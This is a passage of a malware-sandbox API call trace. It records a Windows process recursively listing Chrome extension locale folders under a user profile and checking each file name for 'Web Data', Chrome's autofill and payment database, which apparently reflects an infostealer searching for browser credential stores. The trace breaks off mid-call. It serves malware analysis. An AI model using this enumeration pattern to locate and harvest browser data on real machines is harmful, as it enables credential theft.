0x2dc7f8 [0056.131] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.131] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.131] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.131] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.131] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.131] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.131] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.131] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.131] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.131] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.131] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.131] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.131] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.131] lstrlenA (lpString="\\") returned 1 [0056.131] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.131] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.131] lstrlenA (lpString="en_GB") returned 5 [0056.131] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc5b8 [0056.131] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0056.131] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 134 [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 134 [0056.131] lstrlenA (lpString="\\*.*") returned 4 [0056.131] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc6c8 [0056.131] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0056.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*" [0056.132] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.132] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.132] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.132] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.132] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.132] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.132] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.132] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.132] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.132] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.132] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.132] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.132] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.132] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.132] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.132] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.132] lstrlenA (lpString="\\") returned 1 [0056.132] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.132] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.132] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.132] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.132] lstrlenA (lpString="en_US") returned 5 [0056.132] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc5b8 [0056.132] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.132] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0056.132] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.132] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 134 [0056.132] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 134 [0056.132] lstrlenA (lpString="\\*.*") returned 4 [0056.132] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc6c8 [0056.132] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0056.132] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*" [0056.132] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.132] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.132] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.132] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.132] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.132] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.132] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.133] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.133] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.133] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.133] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.133] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.133] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.133] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.133] lstrlenA (lpString="\\") returned 1 [0056.133] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.133] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.133] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.133] lstrlenA (lpString="es") returned 2 [0056.133] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.133] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.133] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0056.133] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 131 [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 131 [0056.133] lstrlenA (lpString="\\*.*") returned 4 [0056.133] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.133] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0056.133] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*" [0056.133] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.133] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.133] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.133] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.133] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.133] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.133] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.133] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.133] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.133] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.133] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.133] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.133] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.133] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.133] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.133] lstrlenA (lpString="\\") returned 1 [0056.133] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.133] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.133] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.134] lstrlenA (lpString="es_419") returned 6 [0056.134] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc5b8 [0056.134] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.134] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0056.134] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 135 [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 135 [0056.134] lstrlenA (lpString="\\*.*") returned 4 [0056.134] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2dc6c8 [0056.134] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0056.134] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*" [0056.134] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.134] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.134] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.134] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.134] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.134] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.134] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.134] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.134] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.134] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.134] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.134] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.134] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.134] lstrcmpiA 